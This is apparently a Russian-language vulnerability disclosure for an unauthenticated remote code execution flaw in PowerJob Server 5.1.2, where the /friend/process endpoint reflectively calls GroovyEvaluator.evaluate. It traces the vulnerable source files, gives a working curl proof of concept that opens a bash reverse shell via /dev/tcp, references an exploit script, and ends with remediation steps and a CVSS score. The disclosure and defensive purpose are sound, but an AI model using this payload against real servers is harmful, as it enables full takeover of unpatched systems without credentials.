
Неаутентифицированный эксплойт удалённого выполнения кода для PowerJob Server через внедрение Groovy в конечной точке /friend/process, позволяющий выполнение произвольных команд и получение обратных оболочек.
/friend/process (внедрение Groovy)Сервер PowerJob (распределённый планировщик задач / вычислительная платформа) предоставляет конечную точку /friend/process на своём HTTP-порту транспортного уровня Worker↔Server 10010 без какой-либо аутентификации. Конечная точка отражает произвольный открытый метод произвольного Spring Bean; атакующий, вызывающий GroovyEvaluator.evaluate, может выполнять произвольные Groovy-выражения, добиваясь неаутентифицированного удалённого выполнения кода. Стандартный docker-compose публикует этот порт на 0.0.0.0, поэтому сервер может быть полностью скомпрометирован без каких-либо учётных данных.
docker-compose.yml:29-33,47-48 публикует 10010 (HTTP-транспорт), 10086 (AKKA), 10077 (MU) на хост 0.0.0.0| Элемент | Значение |
|---|---|
| Конечная точка запуска | POST http://<server>:10010/friend/process |
| Регистрация | FriendActor.java @Actor(path = "friend") + @Handler(path = "process") (зарегистрирован для всех трёх протоколов: HTTP/MU/AKKA) |
| Рефлексивное выполнение | RemoteRequestProcessor.processRemoteRequest() |
| Опасная точка вызова | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| Отсутствие аутентификации | HttpVertxCSInitializer (HTTP) / MuServerHandler (MU) регистрируют маршруты без какой-либо проверки токена/подписи |
Ключевые исходные файлы (относительно корня репозитория):
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (регистрирует маршруты порта 10010, без аутентификации)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest полностью доверяет полям className, methodName, parameterTypes и args тела запроса — он использует Class.forName + SpringUtils.getBean для получения любого Spring Bean, а затем вызывает любой из его открытых методов через Spring ReflectionUtils.GroovyEvaluator — это bean-компонент @Component, чей метод evaluate(String, Object) вызывает движок Groovy-скриптов (ScriptEngineManager) для непосредственного eval() выражения атакующего.Сочетание этих трёх факторов означает неаутентифицированное RCE.
RemoteProcessReq, который нацелен на GroovyEvaluator.evaluate с произвольным Groovy-выражением (например, 'id'.execute().text).AskResponse.data (base64 JSON).Окружение: JDK 17, собранный из исходников powerjob-server-starter-5.1.2.jar (профиль daily), сервер прослушивает 192.168.49.128:10010. Повторно проверено на JDK 21 (полезная нагрузка в форме оболочки ниже работает на обоих; см. примечание о File.write ниже).
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
Фактический ответ: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Декодирование поля data из base64 даёт вывод команды, выполненной на JVM сервера:

В качестве альтернативы вы можете воспроизвести это с помощью скрипта:
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process является частью внутренней связи Server↔Worker; он должен отклонять неаутентифицированные запросы, или метод вообще не должен быть удалённо вызываемым.RemoteRequestProcessor на белый список: ограничьте className/methodName определёнными фреймворком безопасными обработчиками и запретите рефлексивный вызов произвольных bean-компонентов.GroovyEvaluator (если он должен остаться, добавьте аутентификацию и песочницу)./friend/process (S4S_HANDLER_PROCESS) по умолчанию или ограничьте его только внутренними источниками.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Критический
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process срабатывает без базы данных)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...